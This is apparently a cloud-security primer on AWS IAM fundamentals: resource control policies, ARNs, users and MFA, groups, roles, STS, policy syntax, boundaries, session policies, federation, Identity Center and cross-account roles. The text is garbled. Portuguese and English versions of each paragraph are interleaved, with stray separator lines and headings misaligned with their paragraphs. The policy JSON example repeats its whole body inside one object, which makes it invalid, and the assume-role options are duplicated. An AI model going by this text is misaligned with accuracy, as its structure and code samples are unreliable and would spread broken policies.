Uma **resource control policy (RCP)** é uma política que define as **permissões máximas para recursos dentro da sua organização AWS**. RCPs são semelhantes às políticas IAM em sintaxe, mas **não concedem permissões**—elas apenas limitam as permissões que podem ser aplicadas a recursos por outras políticas. Quando você anexa uma RCP à raiz da sua organização, a uma unidade organizacional (OU) ou a uma conta, a RCP limita as permissões de recursos em todos os recursos no escopo afetado.
|
||||
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **don’t grant permissions**—they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
|
||||
|
||||
Esta é a ÚNICA maneira de garantir que **os recursos não possam exceder níveis de acesso predefinidos**—mesmo que uma política baseada em identidade ou baseada em recurso seja muito permissiva. A única maneira de contornar esses limites é também modificar a RCP configurada pela conta de gerenciamento da sua organização.
|
||||
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organization’s management account.
|
||||
|
||||
> [!WARNING]
|
||||
> As RCPs apenas restringem as permissões que os recursos podem ter. Elas não controlam diretamente o que os principais podem fazer. Por exemplo, se uma RCP nega acesso externo a um bucket S3, ela garante que as permissões do bucket nunca permitam ações além do limite definido—mesmo que uma política baseada em recurso esteja mal configurada.
|
||||
> RCPs only restrict the permissions that resources can have. They don’t directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the bucket’s permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
|
||||
|
||||
Exemplos de RCP:
|
||||
RCP examples:
|
||||
|
||||
- Restringir buckets S3 para que possam ser acessados apenas por principais dentro da sua organização
|
||||
- Limitar o uso de chaves KMS para permitir apenas operações de contas organizacionais confiáveis
|
||||
- Limitar permissões em filas SQS para evitar modificações não autorizadas
|
||||
- Impor limites de acesso em segredos do Secrets Manager para proteger dados sensíveis
|
||||
- Restrict S3 buckets so they can only be accessed by principals within your organization
|
||||
- Limit KMS key usage to only allow operations from trusted organizational accounts
|
||||
- Cap permissions on SQS queues to prevent unauthorized modifications
|
||||
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
|
||||
|
||||
Encontre exemplos na [documentação de Políticas de Controle de Recursos da AWS Organizations](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
|
||||
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
|
||||
|
||||
### ARN
|
||||
|
||||
**Amazon Resource Name** é o **nome único** que cada recurso dentro da AWS possui, é composto assim:
|
||||
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
|
||||
|
||||
```
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
```
|
||||
Note que existem 4 partições na AWS, mas apenas 3 maneiras de chamá-las:
|
||||
|
||||
Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
|
||||
- AWS Standard: `aws`
|
||||
- AWS China: `aws-cn`
|
||||
- AWS US public Internet (GovCloud): `aws-us-gov`
|
||||
- AWS Secret (US Classified): `aws`
|
||||
|
||||
## IAM - Gerenciamento de Identidade e Acesso
|
||||
## IAM - Identity and Access Management
|
||||
|
||||
IAM é o serviço que permitirá que você gerencie **Autenticação**, **Autorização** e **Controle de Acesso** dentro da sua conta AWS.
|
||||
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
|
||||
|
||||
- **Autenticação** - Processo de definição de uma identidade e a verificação dessa identidade. Este processo pode ser subdividido em: Identificação e verificação.
|
||||
- **Autorização** - Determina o que uma identidade pode acessar dentro de um sistema uma vez que foi autenticada.
|
||||
- **Controle de Acesso** - O método e processo de como o acesso é concedido a um recurso seguro.
|
||||
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
|
||||
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
|
||||
- **Access Control** - The method and process of how access is granted to a secure resource
|
||||
|
||||
IAM pode ser definido pela sua capacidade de gerenciar, controlar e governar mecanismos de autenticação, autorização e controle de acesso de identidades aos seus recursos dentro da sua conta AWS.
|
||||
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
|
||||
|
||||
### [Usuário root da conta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
Quando você cria uma conta da Amazon Web Services (AWS) pela primeira vez, você começa com uma única identidade de login que tem **acesso completo a todos** os serviços e recursos da AWS na conta. Este é o _**usuário root**_ da conta AWS e é acessado fazendo login com o **endereço de e-mail e a senha que você usou para criar a conta**.
|
||||
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
|
||||
|
||||
Note que um novo **usuário admin** terá **menos permissões que o usuário root**.
|
||||
Note that a new **admin user** will have **less permissions that the root user**.
|
||||
|
||||
Do ponto de vista de segurança, é recomendado criar outros usuários e evitar usar este.
|
||||
From a security point of view, it's recommended to create other users and avoid using this one.
|
||||
|
||||
### [Usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
Um _usuário_ IAM é uma entidade que você cria na AWS para **representar a pessoa ou aplicação** que a utiliza para **interagir com a AWS**. Um usuário na AWS consiste em um nome e credenciais (senha e até duas chaves de acesso).
|
||||
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
|
||||
|
||||
Quando você cria um usuário IAM, você concede **permissões** tornando-o um **membro de um grupo de usuários** que tem políticas de permissão apropriadas anexadas (recomendado), ou **anexando políticas diretamente** ao usuário.
|
||||
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
|
||||
|
||||
Os usuários podem ter **MFA habilitado para login** através do console. Tokens de API de usuários com MFA habilitado não são protegidos por MFA. Se você quiser **restringir o acesso das chaves de API de um usuário usando MFA**, você precisa indicar na política que, para realizar certas ações, o MFA precisa estar presente (exemplo [**aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **ID da Chave de Acesso**: 20 caracteres alfanuméricos aleatórios em maiúsculas como AKHDNAPO86BSHKDIRYT
|
||||
- **ID da Chave de Acesso Secreta**: 40 caracteres aleatórios em maiúsculas e minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Não é possível recuperar IDs de chave de acesso secreta perdidos).
|
||||
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
|
||||
|
||||
Sempre que você precisar **mudar a Chave de Acesso**, este é o processo que você deve seguir:\
|
||||
_Criar uma nova chave de acesso -> Aplicar a nova chave ao sistema/aplicação -> marcar a original como inativa -> Testar e verificar se a nova chave de acesso está funcionando -> Deletar a chave de acesso antiga_
|
||||
Whenever you need to **change the Access Key** this is the process you should follow:\
|
||||
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
|
||||
|
||||
### MFA - Autenticação de Múltiplos Fatores
|
||||
### MFA - Multi Factor Authentication
|
||||
|
||||
É usado para **criar um fator adicional para autenticação** além dos seus métodos existentes, como senha, criando assim um nível de autenticação multifatorial.\
|
||||
Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como autenticação do Google gratuitamente para ativar um MFA na AWS.
|
||||
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
|
||||
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
|
||||
|
||||
Políticas com condições de MFA podem ser anexadas aos seguintes:
|
||||
Policies with MFA conditions can be attached to the following:
|
||||
|
||||
- Um usuário ou grupo IAM
|
||||
- Um recurso como um bucket do Amazon S3, fila do Amazon SQS ou tópico do Amazon SNS
|
||||
- A política de confiança de um papel IAM que pode ser assumido por um usuário
|
||||
- An IAM user or group
|
||||
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
|
||||
- The trust policy of an IAM role that can be assumed by a user
|
||||
|
||||
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
|
||||
Note that **`AssumeRole` credentials don't contain this information**.
|
||||
|
||||
Se você quiser **acessar via CLI** um recurso que **verifica o MFA**, você precisa chamar **`GetSessionToken`**. Isso lhe dará um token com informações sobre o MFA.\
|
||||
Note que **as credenciais de `AssumeRole` não contêm essas informações**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
Como [**afirmado aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), existem muitos casos diferentes onde **MFA não pode ser usado**.
|
||||
|
||||
### [Grupos de usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
|
||||
|
||||
Um [grupo de usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) é uma maneira de **anexar políticas a vários usuários** ao mesmo tempo, o que pode facilitar a gestão das permissões para esses usuários. **Funções e grupos não podem ser parte de um grupo**.
|
||||
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
Você pode anexar uma **política baseada em identidade a um grupo de usuários** para que todos os **usuários** no grupo de usuários **recebam as permissões da política**. Você **não pode** identificar um **grupo de usuários** como um **`Principal`** em uma **política** (como uma política baseada em recursos) porque grupos se relacionam a permissões, não a autenticação, e os principais são entidades IAM autenticadas.
|
||||
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
|
||||
|
||||
Aqui estão algumas características importantes dos grupos de usuários:
|
||||
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
|
||||
|
||||
- Um **grupo** de usuários pode **contém muitos usuários**, e um **usuário** pode **pertencer a vários grupos**.
|
||||
- **Grupos de usuários não podem ser aninhados**; eles podem conter apenas usuários, não outros grupos de usuários.
|
||||
- Não há **grupo de usuários padrão que inclua automaticamente todos os usuários na conta AWS**. Se você quiser ter um grupo de usuários assim, deve criá-lo e atribuir cada novo usuário a ele.
|
||||
- O número e o tamanho dos recursos IAM em uma conta AWS, como o número de grupos e o número de grupos dos quais um usuário pode ser membro, são limitados. Para mais informações, veja [cotas IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
Here are some important characteristics of user groups:
|
||||
|
||||
### [Funções IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
|
||||
- **User groups can't be nested**; they can contain only users, not other user groups.
|
||||
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
|
||||
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
Uma **função IAM** é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de estar exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir permissões diferentes para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM.
|
||||
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
Uma função IAM consiste em **dois tipos de políticas**: uma **política de confiança**, que não pode estar vazia, definindo **quem pode assumir** a função, e uma **política de permissões**, que não pode estar vazia, definindo **o que pode acessar**.
|
||||
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
|
||||
|
||||
#### Serviço de Token de Segurança da AWS (STS)
|
||||
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
|
||||
|
||||
O Serviço de Token de Segurança da AWS (STS) é um serviço da web que facilita a **emissão de credenciais temporárias de privilégio limitado**. É especificamente adaptado para:
|
||||
#### AWS Security Token Service (STS)
|
||||
|
||||
### [Credenciais temporárias no IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
|
||||
|
||||
**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **impede** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração em que as credenciais são válidas.
|
||||
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
### Políticas
|
||||
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
|
||||
|
||||
#### Permissões de Política
|
||||
### Policies
|
||||
|
||||
São usadas para atribuir permissões. Existem 2 tipos:
|
||||
#### Policy Permissions
|
||||
|
||||
- Políticas gerenciadas pela AWS (pré-configuradas pela AWS)
|
||||
- Políticas Gerenciadas pelo Cliente: Configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda a conceder e negar permissões) ou escrevendo a sua própria.
|
||||
Are used to assign permissions. There are 2 types:
|
||||
|
||||
- AWS managed policies (preconfigured by AWS)
|
||||
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
|
||||
|
||||
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
|
||||
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
|
||||
|
||||
Por **padrão, o acesso** é **negado**, o acesso será concedido se um papel explícito tiver sido especificado.\
|
||||
Se **um único "Negar" existir, ele irá sobrepor o "Permitir"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Os [campos globais que podem ser usados para condições em qualquer serviço estão documentados aqui](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
Os [campos específicos que podem ser usados para condições por serviço estão documentados aqui](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
#### Políticas Inline
|
||||
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
Esse tipo de políticas são **atribuídas diretamente** a um usuário, grupo ou função. Assim, elas não aparecem na lista de Políticas, pois qualquer outra pode usá-las.\
|
||||
Políticas inline são úteis se você deseja **manter uma relação estrita de um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são inadvertidamente atribuídas a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser inadvertidamente anexadas à identidade errada. Além disso, quando você usa o AWS Management Console para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal.
|
||||
#### Inline Policies
|
||||
|
||||
#### Políticas de Bucket de Recursos
|
||||
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
|
||||
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
|
||||
|
||||
Essas são **políticas** que podem ser definidas em **recursos**. **Nem todos os recursos da AWS as suportam**.
|
||||
#### Resource Bucket Policies
|
||||
|
||||
Se um principal não tiver uma negação explícita sobre elas, e uma política de recurso conceder acesso, então eles são permitidos.
|
||||
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
|
||||
|
||||
### Limites do IAM
|
||||
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
|
||||
|
||||
Limites do IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las.
|
||||
### IAM Boundaries
|
||||
|
||||
Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Portanto, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer.
|
||||
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
|
||||
|
||||
**Isso**, **SCPs** e **seguir o princípio do menor privilégio** são as maneiras de controlar que os usuários não tenham mais permissões do que as que precisam.
|
||||
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
|
||||
|
||||
### Políticas de Sessão
|
||||
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
|
||||
|
||||
Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite do IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui).
|
||||
### Session Policies
|
||||
|
||||
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
|
||||
|
||||
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
|
||||
|
||||
Isso é útil para **medidas de segurança**: Quando um administrador vai assumir uma função muito privilegiada, ele pode restringir a permissão apenas às indicadas na política de sessão, caso a sessão seja comprometida.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por razões de terceiros. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles), por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Portanto, se em algum momento você enfrentar o erro "... porque nenhuma política de sessão permite o ...", e a função tem acesso para realizar a ação, é porque **há uma política de sessão impedindo isso**.
|
||||
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
### Federação de Identidade
|
||||
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
|
||||
|
||||
A federação de identidade **permite que usuários de provedores de identidade que são externos** à AWS acessem recursos da AWS de forma segura, sem precisar fornecer credenciais de usuário da AWS de uma conta IAM válida.\
|
||||
Um exemplo de um provedor de identidade pode ser seu próprio **Microsoft Active Directory** (via **SAML**) ou serviços **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS.
|
||||
### Identity Federation
|
||||
|
||||
Para configurar essa confiança, um **Provedor de Identidade IAM é gerado (SAML ou OAuth)** que **confiará** na **outra plataforma**. Em seguida, pelo menos uma **função IAM é atribuída (confiando) ao Provedor de Identidade**. Se um usuário da plataforma confiável acessar a AWS, ele estará acessando como a função mencionada.
|
||||
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
|
||||
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
|
||||
|
||||
No entanto, você geralmente desejará dar uma **função diferente dependendo do grupo do usuário** na plataforma de terceiros. Assim, várias **funções IAM podem confiar** no Provedor de Identidade de terceiros e a plataforma de terceiros será a responsável por permitir que os usuários assumam uma função ou outra.
|
||||
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
|
||||
|
||||
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Centro de Identidade IAM
|
||||
### IAM Identity Center
|
||||
|
||||
O AWS IAM Identity Center (sucessor do AWS Single Sign-On) expande as capacidades do AWS Identity and Access Management (IAM) para fornecer um **local central** que reúne **administração de usuários e seu acesso a contas AWS** e aplicativos em nuvem.
|
||||
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
|
||||
|
||||
O domínio de login será algo como `<user_input>.awsapps.com`.
|
||||
The login domain is going to be something like `<user_input>.awsapps.com`.
|
||||
|
||||
Para fazer login dos usuários, existem 3 fontes de identidade que podem ser usadas:
|
||||
To login users, there are 3 identity sources that can be used:
|
||||
|
||||
- Diretório do Identity Center: Usuários regulares da AWS
|
||||
- Active Directory: Suporta diferentes conectores
|
||||
- Provedor de Identidade Externo: Todos os usuários e grupos vêm de um Provedor de Identidade externo (IdP)
|
||||
- Identity Center Directory: Regular AWS users
|
||||
- Active Directory: Supports different connectors
|
||||
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
No caso mais simples do diretório do Identity Center, o **Identity Center terá uma lista de usuários e grupos** e será capaz de **atribuir políticas** a eles para **qualquer uma das contas** da organização.
|
||||
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
|
||||
|
||||
Para dar acesso a um usuário/grupo do Identity Center a uma conta, um **Provedor de Identidade SAML confiando no Identity Center será criado**, e uma **função confiando no Provedor de Identidade com as políticas indicadas será criada** na conta de destino.
|
||||
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
É possível **dar permissões via políticas inline para funções criadas via IAM Identity Center**. As funções criadas nas contas que estão sendo dadas **políticas inline no AWS Identity Center** terão essas permissões em uma política inline chamada **`AwsSSOInlinePolicy`**.
|
||||
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que tenha as mesmas permissões**.
|
||||
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
|
||||
|
||||
### Confianças e Funções entre Contas
|
||||
### Cross Account Trusts and Roles
|
||||
|
||||
**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\
|
||||
É recomendado **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança.
|
||||
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
|
||||
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
|
||||
|
||||
